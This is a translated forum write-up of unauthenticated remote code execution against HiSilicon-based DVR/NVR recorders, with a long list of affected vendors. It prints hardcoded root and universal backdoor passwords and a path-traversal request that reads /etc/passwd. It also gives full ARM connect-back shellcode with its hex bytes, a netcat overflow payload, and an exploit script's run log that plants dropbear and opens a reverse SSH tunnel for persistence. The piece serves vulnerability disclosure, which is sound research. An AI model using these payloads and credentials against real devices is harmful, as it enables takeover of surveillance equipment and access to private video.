首页
社区
课程
招聘
[翻译]HiSilicon DVR(视频录像机)远程代码执行漏洞分析
2019-4-22 20:55 17985

[翻译]HiSilicon DVR(视频录像机)远程代码执行漏洞分析

2019-4-22 20:55
17985


本篇文章主要是对使用了HiSilicon hi3520d和片上系统(SoC)构建的DVR / NVR设备的漏洞的分析,利用此漏洞会导致在Web界面未授权的远程代码执行(RCE),可以使被攻击设备被完全接管。

海思半导体是全球领先的多媒体ARM SoC解决方案供应商之一,该公司的SoC广泛应用于DVR,网络摄像机,NVR,智能手机等产品。Ambarella,海思,德州仪器是当今全球高清电视多媒体行业的三大先锋。HiSilicon DVR是海思公司生产的一种数字视频录像机。

分析DVR

首先应该学习一下官方的用户使用手册,然后进行深入分析,或者尝试提取固件,进行固件提取后分析会可能发现一些漏洞。

观察设备

用于测试的DVR设备被称作“Seculink”




物理接口:

2个USB端口(用于控制GUI控制台的鼠标)

用于连接外接显示器的HDMI端口(VGA)(用于GUI和摄像头视图)

用于模拟闭路电视摄像机的4个BNC连接器

内部的SATA端口用于连接存储器来记录视频

用于网络访问的以太网端口

用户界面:

使用HDMI(或VGA)作为输出可以直接访问

通过HTTP进行网络访问来查看,控制摄像机

可直接访问Web界面,默认用户为“admin”,默认密码为空

在设置强密码之后,用户可能会觉得很安全了,其他人无法访问设备,但是人们经常将DVR设备的Web端口(tcp / 80)从安全的LAN(局域网)转发到WAN,以便从公网访问DVR(通过Shodan可以搜索到)。


提取固件

提取固件有很多方法:

通过一些漏洞从设备获取

通过JTAG,串口控制从设备中获取

从网上查找固件包下载

虽然从官网下载固件包很简单,但我们选择最难的路,第一种方式提供了有关设备的其他信息


端口扫描

在DVR上进行全端口扫描,请注意,如果是root用户运行,默认情况下SYN扫描会非常慢


# Nmap 7.40 scan initiated Sun Sep  3 01:57:47 2017 as: nmap -v -sV -sT -p- -oA nmap_full 192.168.88.127
Nmap scan report for dvr.lan (192.168.88.127)
Host is up (0.028s latency).
Not shown: 65529 closed ports
PORT      STATE SERVICE       VERSION
23/tcp    open  telnet        BusyBox telnetd
80/tcp    open  http          uc-httpd 1.0.0
554/tcp   open  rtsp          LuxVision or Vacron DVR rtspd
9527/tcp  open  unknown
34567/tcp open  dhanalakshmi?
34599/tcp open  unknown
MAC Address: 00:12:12:15:B3:E7 (Plus )
Service Info: Host: LocalHost; Device: webcam
# Nmap done at Sun Sep  3 02:00:42 2017 -- 1 IP address (1 host up) scanned in 174.79 seconds

分析一下:

23 / tcp是telnet登录界面,需要用户名+密码验证

80 / tcp是Web登录界面

554 / tcp是rtsp服务;,它可以通过rtsp url打开:


rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp


打开rtsp界面也需要用户凭据验证

9527 / tcp似乎是一个保密的服务端口,具有一些非常有趣的功能

34567 / tcp和34599 / tcp是与DVR应用程序相关的一些数据端口

SDR设备应该是基于Linux系统的,连接到9527 / tcp(通过raw netcat)显示应用程序控制台的日志消息和登录提示,使用任何已定义的应用程序凭据登录都可以登陆,发现它为设备提供了root shell。

请注意,这显然是一个严重的安全问题,因为任何(低权限)应用用户都不应自动获取设备上的root shell。


root shell

在root shell中执行命令dmesg,可以看出DVR运行的是Linux内核(版本3.0.8),它有一个ARMv7 CPU,SoC模型是hi3520d。

从正在运行的进程列表中(ps)可以清楚地看到DVR应用程序正在监听34568 / udp,34569 / udp以及nmap()检测到的上述tcp端口。

从已装入的磁盘列表(命令)中可以清楚地看到固件映像在设备中(其中X = 0,1,2,3,4,5)。

固件文件非常小,因此如果我们想要将文件复制到设备或从设备复制文件,需要想点办法,幸运的是固件支持NFS,因此在主机上设置NFS服务器并从DVR安装固件就可以解决此问题:


mount -t nfs 192.168.88.100:/ nfs / home -o nolock


获取固件:

cat / dev / mtdblock1> /home/mtdblock1-root.img
cat / dev / mtdblock2> /home/mtdblock2-usr.img
cat / dev / mtdblock3> /home/mtdblock3-custom.img
cat / dev / mtdblock4> /home/mtdblock4-logo.img
cat / dev / mtdblock5> /home/mtdblock5-mtd.img

可能会获取到一些文件:

cp / var / Sofia / home /
tar -cf /home/fs.tar / bin / boot / etc / lib / linuxrc / mnt / opt / root / sbin / share / slv / usr / var

telnet接口

要通过telnet接口(端口23 / tcp)访问设备,我们需要登录口令,查看可以拿到root用户的密码哈希:


root:absxcfbgXtb3o:0:0:root:/:/bin/sh

假设密码是一串六个字符的小写字母,hashcat可以很快破解上面的DES hash:


$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1

absxcfbgXtb3o:xc3511

Session..........: hashcat
Status...........: Cracked
Hash.Type........: descrypt, DES (Unix), Traditional DES
Hash.Target......: absxcfbgXtb3o
Time.Started.....: Sun Sep  3 03:25:07 2017 (2 mins, 29 secs)
Time.Estimated...: Sun Sep  3 03:27:36 2017 (0 secs)
Guess.Mask.......: ?1?1?1?1?1?1 [6]
Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:   815.9 kH/s (203.13ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 121360384/2176782336 (5.58%)
Rejected.........: 0/121360384 (0.00%)
Restore.Point....: 93440/1679616 (5.56%)
Candidates.#1....: sa8711 -> h86ani
HWMon.Dev.#1.....: N/A

Started: Sun Sep  3 03:25:04 2017
Stopped: Sun Sep  3 03:27:38 2017

因此,通过端口23 / tcp上的telnet接口登录用户root和密码xc3511是完全有可能的,在unclosable telnet界面上可访问的这个硬编码root帐户显然就是一个后门。

固件逆向

分析固件发现文件/var/Sofia是实现所有接口的主要应用程序,除了视频处理之外,所以这个二进制文件对我们来说似乎是最重要的。

但是加了混淆,这使得静态分析变得非常难:


$ file Sofia
Sofia: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, stripped, with debug_info

因此,除静态分析(使用radare2或IDA)外,必须使用动态分析

远程gdb调试

进行动态分析,将GNU Project调试器(GDB)附加到远程 应用程序上,方法是将在远程设备上运行,并用从本地计算机上连接它。

当然,需要针对适当的ARM体系结构进行编译,为了编译它,我们可以使用 μClibc,它是嵌入式系统的C库(比如这里的DVR)。

有一个很好的编译环境叫做 Buildroot,它使编译非常简单,选择所需的应用程序(例如gdb) ,选择静态库,然后运行 。

现在固件已准备好然后开始逆向分析, 远程连接现在正在运行的进程上:


$ / mnt / mtd / gdbserver --attach:2000 610


本地机器连接:

$ gdb -ex'set gnutarget elf32-littlearm'-ex'target remote 192.168.88.127:2000'


检查身份验证过程

静态分析的推荐工具是Hex-Ray的 IDA Pro。

自动分析后有15.000多个函数,使用Python脚本找到auth函数。下面的 IDAPython 代码段可以找到“Users” 和 “Password” 相关的所有函数:


x1, x2 = set(), set()
for loc, name in Names():
  if "Users" in name:
    for addr in XrefsTo(loc):
      x1.add(GetFunctionName(addr.frm))
  elif "Password" in name:
    for addr in XrefsTo(loc):
      x2.add(GetFunctionName(addr.frm))
print x1 & x2

找到了一个函数:,对此函数快速分析后证实这就是验证函数

对硬编码字符串进行初步检查,发现一个后门密码,通用密码是:。

使用此密码,我们可以以任何用户(例如管理员)访问应用程序中的任何内容。例如,获取视频流:


$ cvlc'rtsp://192.168.88.127:554 / user = admin&password = I0TO5Wv9&channel = 1&stream = 0.sdp'


或者在应用程序控制台(9527 / tcp)上获得root shell:


$ nc 192.168.88.127 9527
nc: using stream socket

username:admin
password:I0TO5Wv9
login(admin, ******, Console, address:)
admin$

验证算法中的另一个有趣现象:在某些情况下,auth函数不仅接受密码,还接受hash。不仅可以通过密码而且可以通过哈希(存储在/ mnt / mtd / Config / Account1中)打开rtsp视频流。例如,tlJwpbo6是空密码的哈希值,所以也是有效的

cvlc 'rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp'
cvlc 'rtsp://192.168.88.127:554/user=admin&password=tlJwpbo6&channel=1&stream=0.sdp'

密码哈希函数

对auth函数深入分析发现:密码hash函数是sub_3DD5E4。它是一串MD5,有一些奇怪的转换,用Python逆向算法:


import hashlib

def sofia_hash(msg):
    h = ""
    m = hashlib.md5()
    m.update(msg)
    msg_md5 = m.digest()
    for i in range(8):
        n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
        if n > 9:
            if n > 35:
                n += 61
            else:
                n += 55
        else:
            n += 0x30
        h += chr(n)
    return h

使用上面的哈希算法,可以设置任意密码

网络服务器中的缓冲区溢出漏洞

Sofia文件可以处理80 / tcp端口上的HTTP请求,可以对其进行fuzz测试。可以使用gdb附加调试,先杀死Sofia进程,然后使用gdbserver重新启动进程:


$ kill 610
$ / mnt / mtd / gdbserver:2000 / var / Sofia


本地连接:

$ gdb -q -ex'set gnutarget elf32-littlearm'-ex'target remote 192.168.88.127:2000'
gef> c


GET请求:

$ echo'GET /'| nc 192.168.88.127 80


正常响应:

$ echo -ne'GET / HTTP'| nc 192.168.88.127 80


使用looong请求测试是否可以溢出:

$ python -c'print“GET”+“a”* 1000 +“HTTP”'| nc 192.168.88.127 80

响应是200,带有“404 File Not Found”消息,但我们可以在gdb中看到进程崩溃了


控制程序流程

分析一下崩溃原因,远程进程Sofia得到了SIGSEGV(分段错误),堆栈中填充了输入的“a”字符,$ pc(程序计数器)寄存器中出现了输入的值(“aaaa” - 1) ,这是典型的堆栈溢出,这意味着我们有机会控制程序流程

测试:

$ python -c'print“GET”+“0123”+“a”*(299-4)+“wxyz”+“HTTP”'| nc 192.168.88.127 80

这也可以导致SIGSEGV,并且$ pc寄存器是 ,我们的payload在$ sp + 0x14(堆栈基址+ 0x14)上开始执行


远程代码执行

利用这种溢出的最方式是通过将一些shellcode注入到堆栈,然后将程序流重定向到shellcode,这样我们就可以在目标机器上远程任意代码执行。由于设备操作系统上没有权限分离,这意味着完全控制设备(root shell)。

设备上也有可能启用了一些漏洞利用缓解技术,这会使漏洞利用变得更难。

防止栈溢出的shellcode的最基本方法是No-eXecute(NX)技术,这可以防止在特定的内存页面上执行代码(通常是具有写入权限的页面,如堆栈)。

但是这个设备有些地方没有NX位设置(查看STACK,rwx):


$ objdump -b elf32-littlearm -p Sofia

Sofia:     file format elf32-littlearm

Program Header:
0x70000001 off    0x00523f34 vaddr 0x0052bf34 paddr 0x0052bf34 align 2**2
         filesz 0x000132a8 memsz 0x000132a8 flags r--
    LOAD off    0x00000000 vaddr 0x00008000 paddr 0x00008000 align 2**15
         filesz 0x005371dc memsz 0x005371dc flags r-x
    LOAD off    0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**15
         filesz 0x000089c8 memsz 0x000dad8c flags rw-
     TLS off    0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**2
         filesz 0x00000004 memsz 0x00000018 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rwx
private flags = 5000002: [Version5 EABI]<Unrecognised flag bits set>

或者在gdb gef中使用checksec。gef输出发现也没有其他的缓解措施,例如堆栈canary(因为如果存在堆栈canary,我们无法控制带有堆栈溢出的$ pc)。

在进行RCE之前,我们唯一应该知道的是堆栈地址。我们应该在paylaod的适当位置(上面的“wxyz”)写入地址$ sp + 0x14,以便将程序流重定向到shellcode。

还有一种缓解技术也可以使漏洞利用变得更难:地址空间布局随机化(ASLR),ASLR随机化存储段的基址(例如,堆栈的基址)。

发现确实启用了ASLR(“2”表示完全随机化,“0”禁用):

$ cat / proc / sys / kernel / randomize_va_space
2


关闭ASLR进行RCE

让我们首先尝试利用溢出来关闭ASLR。

$ echo 0> / proc / sys / kernel / randomize_va_space

按照上面的过程,我们得到SIGSEGV崩溃时堆栈地址($ sp)是0x5a26f3d8

所以payload应该是:

python -c'print“GET”+ shellcode +“a”*(299-len(shellcode))+“\ xd8 \ xf3 \ x26 \ x5a”+“HTTP”'| nc 192.168.88.127 80

shellcode应该是我们想要执行的东西,最好是一个connectback shellcode。注意,必须避免一些“badchars”,:0x00,0x0d('\ n'),0x20(''),0x26('&'),0x3f('?'),此外,还有299字节的大小限制。

这里的shellcode使用socket,connect,dup2和execve系统调用写出了一个连接shell


.section    .text
.global     _start

@ ensure switching to thumb mode (arm mode instructions)
.code 32
_0:    add  r1, pc, #1
_4:    bx   r1

@ thumb mode instructions
_start:
.code 16

@ *0x52 -= 1 (port -= 0x100; make it possible to use port numbers <1024)
_8:    add  r1, pc, #68      @ r1 <- pc+68 = 0xc+68 = 0x50
_a:    ldrb r2, [r1, #2]     @ r2 <- *0x52
_c:    sub  r2, #1           @ r2 <- r2-1
_e:    strb r2, [r1, #2]     @ r2 -> *0x52

@ socket(2, 1, 0) = socket(AF_INET, SOCK_DGRAM, 0)
_10:   mov  r1, #2          @ r1 <- 2
_12:   add  r0, r1, #0      @ r0 <- r1 + 0 = 2
_14:   mov  r1, #1          @ r1 <- 1
_16:   sub  r2, r2, r2      @ r2 <- r2 - r2 = 0
_18:   lsl  r7, r1, #8      @ r7 <- r1<<8 = 1<<8 = 256
_1a:   add  r7, #25         @ r7 <- r7 + 25 = 281
_1c:   svc  1               @ r0 <- svc_281(r0, r1, r2) = socket(2, 1, 0)

@ connect(r0, 0x50, 16) = connect(&socket, &struct_addr, addr_len)
_1e:   add  r6, r0, #0       @ r6 <- r0 + 0 = &socket
_20:   add  r1, pc, #44      @ r1 <- pc+44 = 0x24+44 = 0x50
_22:   mov  r3, #2           @ r3 <- 2
_24:   strh r3, [r1, #0]     @ 2 -> *0x50
_26:   mov  r2, #16          @ r2 <- 16
_28:   add  r7, #2           @ r7 <- r7 + 2 = 283
_2a:   svc  1                @ r0 <- svc_283(r0, r1, r2) = connect(&socket, 0x50, 16)

@ attach stdin/stdout/stderr to socket: dup2(r0, 0), dup2(r0, 1), dup2(r0, 2)
_2c:   mov  r7, #62       @ r7 <- 62
_2e:   add  r7, #1     	  @ r7 <- r7 + 1 = 63
_30:   mov  r1, #200      @ r1 <- 200

_32:   add  r0, r6, #0    @ r0 <- r6 + 0 = &socket
_34:   svc  1             @ r0 <- svc_63(r0, r1) = dup2(&socket, 0..200)
_36:   sub  r1, #1        @ r1 <- r1 - 1
_38:   bpl  _32           @ loop until r1>0 (dup2 every fd to the socket)

@ execve('/bin/sh', NULL, NULL)
_3a:   add  r0, pc, #28     @ r0 <- pc+28 = 0x3c+28 = 0x58
_3c:   sub  r2, r2, r2      @ r2 <- r2 - r2 = 0
_3e:   strb r2, [r0, #7]    @ 0 -> *(0x58+7), terminate '/bin/sh' with \x00
_40:   push {r0, r2}        @ *sp <- {r0, r1, r2} = {0x58, 0x0, 0x0}
_42:   mov  r1, sp          @ r1 <- sp
_44:   mov  r7, #11         @ r7 <- 11
_46:   svc  1               @ svc_11(r0, r1, r2) = execve('/bin/sh\x00', ['/bin/sh\x00', 0], 0)

_48:   mov  r7, #1          @ r7 <- 1
_4a:   add  r0, r7, #0      @ r0 <- r7 + 0 = 1
_4c:   svc  1               @ svc_1(r0) = exit(1)

_4e:   nop

@ struct sockaddr (sa_family = 0x0002 (set by shellcode), sa_data = (port, ip) )
_50:   .short 0xffff
_52:   .short 0x697b            @ port 31377 (hex(31337+0x100) in little-endian)
_54:   .byte 192,168,88,100   	@ inet addr: 192.168.88.100
_58:   .ascii "/bin/shX"      	@ 'X' will be replaced with \x00 by the shellcode

.word 0xefbeadde        @ deadbeef ;)

编译shellcode并获取二进制文件,使用ARM交叉工具就可以,例如使用buildroot: buildroot-2017.02.5/output/host/usr/bin/

$ armv7a-hardfloat-linux-gnueabi-as shellcode.S -o shellcode.o
$ armv7a-hardfloat-linux-gnueabi-ld.bfd shellcode.o -o shellcode
$ armv7a-hardfloat-linux-gnueabi-objcopy -O binary -only-section = .text ./shellcode ./shellcode.bin
$ cat shellcode.bin | xxd -p
01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df
061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0
921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62
696e2f736858deadbeef

发送payload进行漏洞利用,就可以拿到shell

首先要启动一个监听器:

$ nc -nvlp 31337


然后发送shellcode:


$ python -c 'shellcode = "01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62696e2f736858deadbeef".decode("hex");  print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xec\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0

<html><head><title>404 File Not Found</title></head>
<body>The requested URL was not found on this server</body></html>

在本地用gdb调试,攻击完成:

process 1064 is executing new program: /bin/busybox
Reading /bin/busybox from remote target...
Reading /bin/busybox from remote target...

使用 netcat 监听发送RCE命令

nc: connect to 192.168.88.100 31337 from 192.168.88.127 55442
nc: using stream socket

现在可以在远程系统上以root身份执行任意命令

但是还不能稳定漏洞利用,因为ASLR没有关闭,因此我们不知道shellcode起始地址


关闭ASLR

关闭ASLR并非易事,通常有两种方法可以做到:

在随机发生器中发现一些信息通过泄漏/覆盖来攻击它

泄漏远程二进制文件的随机内存地址。

经过一段时间的研究,发现无法泄漏,但后来想到了一个办法,Web服务器中存在一个漏洞:目录遍历漏洞。

目录遍历漏洞可以拿到root用户的hash密码:


$ echo -ne 'GET ../../etc/passwd HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0

root:absxcfbgXtb3o:0:0:root:/:/bin/sh

也可以遍历目录

$ echo -ne 'GET ../../etc HTTP' | nc 192.168.88.127 80nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0

<H1>Index of /mnt/web/../../etc</H1>

<p><a href="//mnt/web/../../etc/.">.</a></p>
<p><a href="//mnt/web/../../etc/..">..</a></p>
<p><a href="//mnt/web/../../etc/fs-version">fs-version</a></p>
<p><a href="//mnt/web/../../etc/fstab">fstab</a></p>
<p><a href="//mnt/web/../../etc/group">group</a></p>
<p><a href="//mnt/web/../../etc/init.d">init.d</a></p>
<p><a href="//mnt/web/../../etc/inittab">inittab</a></p>
<p><a href="//mnt/web/../../etc/mactab">mactab</a></p>
<p><a href="//mnt/web/../../etc/memstat.conf">memstat.conf</a></p>
<p><a href="//mnt/web/../../etc/mtab">mtab</a></p>
<p><a href="//mnt/web/../../etc/passwd">passwd</a></p>
<p><a href="//mnt/web/../../etc/passwd-">passwd-</a></p>
<p><a href="//mnt/web/../../etc/ppp">ppp</a></p>
<p><a href="//mnt/web/../../etc/profile">profile</a></p>
<p><a href="//mnt/web/../../etc/protocols">protocols</a></p>
<p><a href="//mnt/web/../../etc/resolv.conf">resolv.conf</a></p>
<p><a href="//mnt/web/../../etc/services">services</a></p>
<p><a href="//mnt/web/../../etc/udev">udev</a></p>

此漏洞非常严重,因为攻击者可以读取任何文件,包括录制的视频(如果设备有一些HDD存储)。

此外,该漏洞可以帮助我们关闭ASLR。

该/proc文件系统包含了很多正在运行的进程信息,也就是/proc/[pid]目录。/proc可以获得列表GET ../../proc,这样我们就可以得到所有的PID。如果 /proc/[pid]/cmdline是/var/Sofia,就可以找到应用程序的PID。

关闭ASLR最重要的信息是 /proc/[pid]/smaps。此文件包含内存页统计信息,包含页面地址和其他信息(例如rss)。

例如:


$ echo -ne 'GET ../../proc/610/cmdline HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0

/var/Sofia

$ echo -ne 'GET ../../proc/610/smaps HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0

...

4b699000-4be98000 rwxp 00000000 00:00 0
Size:               8188 kB
Rss:                   4 kB
Pss:                   4 kB
Shared_Clean:          0 kB
Shared_Dirty:          0 kB
Private_Clean:         0 kB
Private_Dirty:         4 kB
Referenced:            4 kB
Anonymous:             4 kB
AnonHugePages:         0 kB
Swap:                  0 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
Locked:                0 kB

...

这只是其中一页,该列表包含约150页。

看看上面的结构(注意页面大小,模式等),我们可以猜测(通过fuzzing)哪一个页面包含所需线程的堆,堆栈与基址的偏移量是一个常量(它是0x7fd3d8)。

猜测内存页面的片段:


def guessregion(smaps):
    for t in range(len(smaps)-7, 1, -1):
        if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and
        smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8:
            return (t+3)
    return (-1)

该片段是完整exp脚本的一部分,该脚本可自动攻击支持ASLR的各种HiSilicon设备。

有关脚本的简要介绍:


$ ./pwn_hisilicon_dvr.py -h
usage: pwn_hisilicon_dvr.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST
                            [--lport LPORT] [--bhost BHOST] [--bport BPORT]
                            [-n] [-i] [-p] [-u] [--offset OFFSET]
                            [--cmdline CMDLINE]

exploit HiSilicon DVR devices

optional arguments:
  -h, --help         show this help message and exit
  --rhost RHOST      target host
  --rport RPORT      target port
  --lhost LHOST      connectback ip
  --lport LPORT      connectback port
  --bhost BHOST      listen ip to bind (default: connectback)
  --bport BPORT      listen port to bind (default: connectback)
  -n, --nolisten     do not start listener (you should care about connectback
                     listener on your own)
  -i, --interactive  select stack memory region interactively (rather than
                     using autodetection)
  -p, --persistent   make connectback shell persistent by restarting dvr app
                     automatically (DANGEROUS!)
  -u, --upload       upload tools (now hardcoded "./tools/dropbear" in script)
                     after pwn
  --offset OFFSET    exploit param stack offset to mem page base (default:
                     0x7fd3d8)
  --cmdline CMDLINE  cmdline of Sofia binary on remote target (default
                     "/var/Sofia")

思考利用

可以用这个RCE做什么?

这是一个未经授权的RCE,它只使用了Web服务端口80 / tcp,此端口通常可以转发到外部,因此如果攻击者利用此漏洞进行RCE,攻击者可以访问内部局域网。

上面的漏洞利用脚本可以将工具沙场上传到到受害的设备上。

如果我们想要建立一个持久稳定的后门,我们可以上传一个Dropbear,让它在本地监听,并打开一个反向SSH隧道到公网上,通过这种方式,可以随时随地登录DVR设备。


$ ./pwn_hisilicon_dvr.py --rhost 192.168.88.127 --lhost 192.168.88.100 -p -u
[*] target is 192.168.88.127:80
[*] connectback on 192.168.88.100:31337
[+] assembling shellcode: done. length is 104 bytes
[+] identifying model number: MBD6804T-EL
[*] exploiting dir path traversal of web service to get leak addresses
[+] getting pidlist: found 35 processes
[+] searching for PID of '/var/Sofia': 610
[+] getting stack section base: 0x5a47a000
[*] shellcode address is 0x5ac773ec
[*] exploiting buffer overflow in web service url path
[*] remote shell should gained by connectback shellcode!
[+] Trying to bind to 192.168.88.100 on port 31337: Done
[+] Waiting for connections on 192.168.88.100:31337: Got connection from 192.168.88.127 on port 44330
[+] Opening connection to 192.168.88.127 on port 80: Done
[+] Receiving all data: Done (204B)
[*] Closed connection to 192.168.88.127 port 80
[+] restarting dvr application: Done
[+] uploading tools to /var/.tools: dropbear
[*] Switching to interactive mode
$ cd /var/.tools
$ ln -s dropbear ssh
$ ln -s dropbear dropbearkey
$ ./dropbearkey -t ecdsa -f dropbear_ecdsa.key -s 256
Generating key, this may take a while...
Public key portion is:
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDMcXlCTZfC3ZskLdbjfUSkDvcZCrKd/t8a3ftsfL2EkHlQ/faElTfzACkM8ETw1Z1CH0iLXMznxqzZ4PvvJOk0= root@LocalHost
Fingerprint: md5 55:5e:4c:df:9c:89:4c:cd:2c:47:85:52:ff:5b:b7:48
$ ./dropbear -r ./dropbear_ecdsa.key -p 127.0.0.1:22
$ ln -s dropbear dropbearconvert
$ cat <<EOF > id_rsa
-----BEGIN RSA PRIVATE KEY-----
...
...
...
-----END RSA PRIVATE KEY-----
$ ./dropbearconvert openssh dropbear id_rsa id_rsa.dropbear
$ ./ssh -i ./id_rsa.dropbear -N -f -T -R 2322:localhost:22 dropbear@192.168.88.100

可以使用SSH访问设备:

$ ssh -p2322 root@localhost
root@localhost's password:


BusyBox v1.16.1 (2013-07-18 14:40:04 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

Welcome to Monitor Tech.
[root@LocalHost /]$

总结

如果有人认为只有这个“Seculink”品牌设备受到这个漏洞的影响,那就错了,受影响设备的范围非常大。使用这种HiSilicon SoC硬件构建的每个设备都存在此漏洞。这些设备使用的与这个Sofia的文件几乎是相同的固件。

以下是受影响品牌的(不完整)列表:




[http://www.vacron.com/products_CCTV_dvr.html ](http://www.vacron.com/products_CCTV_dvr.html)
[http://www.gess-inc.com/gess/dvrs/ ](http://www.gess-inc.com/gess/dvrs/)
[http://www.jufenginfo.com/en/product-list.php?cid=10&pid = 166&parid = 175 ](http://www.jufenginfo.com/en/product-list.php?cid=10&pid=166&parid=175)
[http://egpis.co.kr/egpis/product.php?category=AHD&category2=AHD_D ](http://egpis.co.kr/egpis/product.php?category=AHD&category2=AHD_D)
[http://optimus-cctv.ru/catalog/ahd-videoregistratory ](http://optimus-cctv.ru/catalog/ahd-videoregistratory)
[http://www.clearcftv.com。 br / linha.php?l = 5&ln = ahd ](http://www.clearcftv.com.br/linha.php?l=5&ln=ahd)
[http://click-cam.com/html2/products.php?t=2 ](http://click-cam.com/html2/products.php?t=2)
[http://www.ccd.dn.ua/ahd-videoregistratory.html ](http://www.ccd.dn.ua/ahd-videoregistratory.html)
[http:/ /www.dhssicurezza.com/tvcc-ahd/dvr-ahd-720p/ ](http://www.dhssicurezza.com/tvcc-ahd/dvr-ahd-720p/)
[http://www.gigasecurity.com.br/subcategoria-gravadores-de-video-dvr ](http://www.gigasecurity.com.br/subcategoria-gravadores-de-video-dvr)
[http://www.luxvision.com.br/ category / dvr-ahd / ](http://www.luxvision.com.br/category/dvr-ahd/)
[http://www.yesccd.com/?products/DigitalVideoRecorder.html ](http://www.yesccd.com/?products/DigitalVideoRecorder.html)
<http://www.tvzsecurity.com.br/produtos/31/Stand-Alone>
[http://showtec.com.br/dv-stand-alone/ ](http://showtec.com.br/dv-stand-alone/)
[http://www.ecotroniccftv.com.br/index.php ](http://www.ecotroniccftv.com.br/index.php)
[http://starligh.com/cctv/grabadoras.html ](http://starligh.com/cctv/grabadoras.html)
[http:// www。 activepixel.us/ap-0404-ahd.html ](http://www.activepixel.us/ap-0404-ahd.html)
[http://j2000.ru/cat/DVR/ ](http://j2000.ru/cat/DVR/)
[http://partizan.global/product/ahd-video-surveillance/ahd-dvrs.html ](http://partizan.global/product/ahd-video-surveillance/ahd-dvrs.html)
[http:// kenik。 PL / index.php文件/标签/ rejestrator / ](http://kenik.pl/index.php/tag/rejestrator/)
[http://www.redebsd.com.br/categoria-25-gravacao-digital ](http://www.redebsd.com.br/categoria-25-gravacao-digital)
[http://www.idvr.com.br/produtos-index/categorias/2374896/dvr___ahd_lancamento .html ](http://www.idvr.com.br/produtos-index/categorias/2374896/dvr___ahd_lancamento.html)
[http://www.visagems.com.br/prd.asp?idP=1119575 ](http://www.visagems.com.br/prd.asp?idP=1119575)
[http://www.braskell.com.br/dvr.html ](http://www.braskell.com.br/dvr.html)
[http://www.segvideo.com/segvideo/nvr- hvr.html ](http://www.segvideo.com/segvideo/nvr-hvr.html)
[http://www.neocam.com.br/cameras-cftv/stand-alone ](http://www.neocam.com.br/cameras-cftv/stand-alone)
<http://www.venetian.com.br/categoria/dvr-hvr-04-canais/>
[http://www.cctvkits.co.uk/oyn-x-orpheus-hdtvi-4-channel-dvr-1080p.html ](http://www.cctvkits.co.uk/oyn-x-orpheus-hdtvi-4-channel-dvr-1080p.html)
[http://ecopower-brasil.com/produto/DVR-HSBS-HSBS%252d3604.html ](http://ecopower-brasil.com/produto/DVR-HSBS-HSBS%252d3604.html)
[http://www.vixline.com.br/vitrine-de-produtos/dvrs/ ](http://www.vixline.com.br/vitrine-de-produtos/dvrs/)
[http://aliveelectronics.com.br/category/gravadores-de-video/ ](http://aliveelectronics.com.br/category/gravadores-de-video/)
[http://www.issl.com.hk/ CCTV_DVRCYVIEW1.htm ](http://www.issl.com.hk/CCTV_DVRCYVIEW1.htm)
[http://idview.com/IDVIEW/Products/DVR/dvr-Analog.html ](http://idview.com/IDVIEW/Products/DVR/dvr-Analog.html)
[http://www.vonnic.ca/products376e.html?cat=13 ](http://www.vonnic.ca/products376e.html?cat=13)
[http://polyvision.ru/polyvision/catalog_gibridnye html的](http://polyvision.ru/polyvision/catalog_gibridnye.html)
[http://altcam.ru/video/hd-videonabludenie/ ](http://altcam.ru/video/hd-videonabludenie/)
[http://cyfron.ru/catalog/dvr/ ](http://cyfron.ru/catalog/dvr/)
[http://www.t54.ru/catalog/videoregistratory/ahd_analogovye_registratory/ ](http://www.t54.ru/catalog/videoregistratory/ahd_analogovye_registratory/)
[HTTP:// WWW。 hiview.co.th/index.php?mo=3&art=42195125 ](http://www.hiview.co.th/index.php?mo=3&art=42195125)
<http://www.kkmoon.com/usb-fan-271/p-s413-uk.html>
[http://qvisglobal.com/ahd-tvi-960h-hybrid ](http://qvisglobal.com/ahd-tvi-960h-hybrid)
